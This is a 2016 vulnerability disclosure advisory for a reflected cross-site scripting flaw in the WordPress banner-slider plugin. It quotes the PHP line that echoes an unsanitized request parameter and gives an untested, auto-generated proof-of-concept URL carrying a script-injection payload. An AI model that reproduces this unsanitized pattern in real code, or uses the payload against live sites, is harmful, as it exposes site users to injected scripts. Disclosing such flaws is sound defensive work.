Advisory #: 805
Title: Reflected XSS in wordpress plugin banner-slider v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/banner-slider
Downloads: 7047
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: banner-slider
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./banner-slider/banner_slider.php: 366: <input type="hidden" value="<?php echo $_REQUEST['banner_id']?>" name="banner_id" id="banner_id"> The variable banner_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./banner-slider/banner_slider.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/banner-slider/banner_slider.php?banner_id="><script>alert(1);</script><"